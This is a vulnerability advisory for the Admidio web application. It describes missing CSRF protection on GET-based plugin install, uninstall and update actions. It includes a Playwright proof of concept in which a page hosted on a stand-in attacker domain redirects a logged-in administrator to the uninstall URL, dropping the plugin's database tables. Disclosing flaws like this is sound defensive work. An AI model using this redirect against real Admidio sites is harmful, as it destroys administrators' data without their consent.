Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests

Summary

The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.

Details

modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:

// modules/plugins.php
$mode = admFuncVariableIsValid($_GET, 'mode', 'string');
$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');

The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.

Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.

The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:

// modules/plugins.php - doUninstall()
function doUninstall($pluginFolder) {
    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql
    // Contains DROP TABLE statements
}

Proof of Concept

The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:

// playwright-csrf-poc.js
const { test, expect } = require('@playwright/test');

test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {
    const context = await browser.newContext();
    const page = await context.newPage();

    // Step 1: Admin logs in to Admidio
    await page.goto('https://admidio.example.com/adm_program/system/login.php');
    await page.fill('#usr_login_name', 'admin');
    await page.fill('#usr_password', 'password');
    await page.click('#btn_login');
    await page.waitForURL('**/overview.php');

    // Step 2: Admin visits attacker-controlled page on different origin
    // The attacker page contains:
    //   <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>
    await page.goto('https://attacker.example.com/csrf.html');

    // Step 3: Browser follows redirect with SameSite=Lax cookies
    // The birthday plugin is uninstalled, its database tables dropped
    await page.waitForURL('**/plugins.php*');

    // Verify the plugin was uninstalled
    await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');
    const content = await page.content();
    expect(content).not.toContain('birthday');
});